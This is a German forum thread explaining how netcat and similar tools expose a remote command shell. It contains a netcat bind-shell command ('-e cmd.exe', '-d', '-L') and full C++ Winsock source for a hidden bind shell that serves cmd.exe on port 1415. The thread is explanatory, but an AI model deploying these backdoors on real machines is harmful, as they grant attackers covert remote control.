| Virenschutz · Tools & Aggressive Software Tips zum Kampf gegen gegen Viren, Trojaner, CryptoSoft und Programme, die erstellt wurden um Schaden anzurichten, werden hier behandelt. Aber auch Tools aus dem Security Bereich sind hier richtig. |
Diskussion: Wie funktioniert Netcat im Forum Virenschutz · Tools & Aggressive Software, in der Kategorie Security Area; Anzeige Hi! Ich wüsste gerne mehr darüber wie genau netcat oder allgemein ein Programm das eine Shell einrichtet funktioniert. Ich ...
![]() |
| | #1 (permalink) |
| Registriert seit: 12.04.06 ![]() Likes: 0 | Anzeige Hi! Ich wüsste gerne mehr darüber wie genau netcat oder allgemein ein Programm das eine Shell einrichtet funktioniert. Ich kann leider c++ nicht gut genug um mir den Source anzugucken. Also was ich mir denk ist, dass der Verkehr auf einem Port angenommen und an ein Programm weitergeleitet wird. In diesem Fall cmd. Andersherum wird die Ausgabe zurück gesendet. Und wie genau funktioniert es das Ergebnis abzufangen? Ok also eigentlich weiss ich selbst nich so ganz.. ;( Ich würde nur gerne mehr darüber wissen also wenn ihr irgendwelche Quellen oder Wissen habt das ihr teilen wollt wäre ich sehr dankbar :) |
| | |
| | #2 (permalink) |
| Registriert seit: 30.05.05 ![]() Likes: 0 | netcat verbindet sich einfach mit dem port. die shell kommt vom telnetserver. mann kann ja auch mit netcat nen port öffnen (mit -l glaub ich). probiers mal. öffne nen port mit netcat und verbinde dich dann wieder mit netcat. was du beim client eingibst, sollte beim server ankommen. => es macht also im prinzip nicht viel, außer verbindung herstellen. |
| | |
| HaBOT | - Anzeige - |
| |
| | #3 (permalink) |
| Themenstarter Registriert seit: 12.04.06 ![]() Likes: 0 | Aber es ist doch auch möglich die Verbindung an eine Anwendung zu leiten und das Ergebnis zurückzuschicken oder!? Wie funktioniert das? Oder klappt es nur bei Dosanwendungen wie cmd |
| | |
| | #4 (permalink) |
| Registriert seit: 31.03.05 ![]() Likes: 0 | Code: nc -l -p1000 -d -e cmd.exe -L -p das lokale port. -e anwendung. -L bei abbruch der verbindung wieder neu starten. soviel ich weis kann man mit -c anwendungen ausführen, bzw. halt unter linux shell commands. steht aber alles in der hilfe: nc -h edit2: mit -e lassen sich alle anwendungen ausführen. das problem dabei wären vielleicht progis mit oberfläche? versuchs doch einfach und verbinde dich mit "telnet 127.0.0.1 1000" lg |
| | |
| | #5 (permalink) |
| Themenstarter Registriert seit: 12.04.06 ![]() Likes: 0 | Das hatte ich schon gefunden. Ich wollte vorallem die programmiertechnische Seite verstehn. Ich kann mir nicht wirklich vorstellen wir das gemacht wird. |
| | |
| | #6 (permalink) |
| Registriert seit: 30.05.05 ![]() Likes: 0 | naja. mit netcat -l wird halt ein socket geöffnet, in listenmodus geschaltet und wartet dann verbindungen ab. je nachdem wird dann eingehender traffic nach stdout und eventuelle ausgaben einer anwendung (z.b. cmd) über pipes dann versendet. als client wird einfach ein connect() gemacht, wobei eingehende pakete nach stdout geschrieben werden und eingaben von stdin werden an den peer gesendet. |
| | |
| | #7 (permalink) |
| Code: #define _WIN32_WINNT 0x500
#include <stdio.h>
#include <winsock2.h>
#include <iostream>
#include <cstdio>
#include <windows.h>
using namespace std;
int main(void)
{
SOCKET s,s1;
WSADATA wsa;
SOCKADDR_IN addr;
STARTUPINFO sinfo;
PROCESS_INFORMATION pi;
long rc;
WSAStartup(MAKEWORD(2,2),&wsa);
memset(&addr,0,sizeof(addr));
addr.sin_family=AF_INET;
addr.sin_port=htons(1415);
addr.sin_addr.s_addr=ADDR_ANY;
s1=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0);
rc=bind(s1,(SOCKADDR*)&addr,sizeof(addr));
while(1)
{
rc=listen(s1,10);
s=accept(s1,NULL,NULL);
ZeroMemory(&sinfo,sizeof(sinfo));
ZeroMemory(&pi,sizeof(pi));
sinfo.hStdInput = (HANDLE)s;
sinfo.hStdOutput = (HANDLE)s;
sinfo.hStdError = (HANDLE)s;
sinfo.cb = sizeof (STARTUPINFO);
sinfo.dwFlags = sinfo.dwFlags | STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
sinfo.wShowWindow = SW_HIDE;
CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&sinfo,&pi);
WaitForSingleObject(pi.hProcess,INFINITE);
}
closesocket(s);
closesocket(s1);
return 0;
} | |
| | |
| | #8 (permalink) |
| Themenstarter Registriert seit: 12.04.06 ![]() Likes: 0 | Mh ok danke! Also wird praktisch nur eine Verbindung aufgebaut und als Prozess cmd geöffnet!? Und wie wird das dann an den Prozess übergeben? Ich kenn nur von Visual Basic sendkeys aber so wird es wohl auf gar keinen Fall funktionieren |
| | |
| | #9 (permalink) |
| Registriert seit: 30.05.05 ![]() Likes: 0 | Du erstellst ein socket. Das hat ja auch nen Eingabe- und Ausgabepuffer. In dem STARTUPINFO struct kannst du Festlegen, welches Handle du für Eingabe (STDIN) und Ausgabe(STDOUT,STDERR) verwenden willst. Wenn du jetzt mit WSASocket ein Socket erstellst, kannst du dies hier einfach als E/A-Handle angeben (Achtung. Ein mit socket() erstelltes Handle funktioniert nicht). Das heißt, anstatt die Ausgabe am bildschirm anzuzeigen wird die Ausgabe von CMD einfach an den gerade Verbundenen Netzwerkpartner (peer) gesendet, der es dann auf seinem Bildschirm anzeigt. Genauso gehts dann mit den Eingaben, die werden vom peer eingegeben und über Netzwerk dann empfangen und "ausgeführt". |
| | |
| | #10 (permalink) |
| Themenstarter Registriert seit: 12.04.06 ![]() Likes: 0 | Ok danke, is ja sehr interessant! Dann muss ich mich mal mehr ins thema Sockets reinlesen. |
| | |
| | #12 (permalink) | |
| Senior Member Registriert seit: 03.09.05 ![]() Likes: 0 | Zitat:
Code: char hostname[512];
printf("Enter Hostname: ");
gets(hostname); | |
| | |
| | #13 (permalink) | ||
| Registriert seit: 30.05.05 ![]() Likes: 0 | Zitat:
Und die Tutorials sind die besten über sockets die's im Netz gibt. | ||
| | |
| | #14 (permalink) | |
| Senior Member Registriert seit: 03.09.05 ![]() Likes: 0 | Zitat:
| |
| | |
![]() |
| - Anzeige - | |
| |
| Themen-Optionen | |
| Ansicht | |
| |
Ähnliche Themen | ||||
| Thema | Autor | Forum | Antworten | Letzter Beitrag |
| netcat funst nicht | LionC | Applikationen | 5 | 09.03.08 19:12 |
| bei NetCat Installation | FleaZ | Linux/UNIX | 10 | 06.06.07 18:55 |
| Suche NetCat Tutorial | 20SamSpade06 | Network · LAN, WAN, Firewalls | 4 | 30.09.06 18:25 |
| Telnet Verbindung per netcat | Conair0001 | Linux/UNIX | 15 | 15.05.04 10:13 |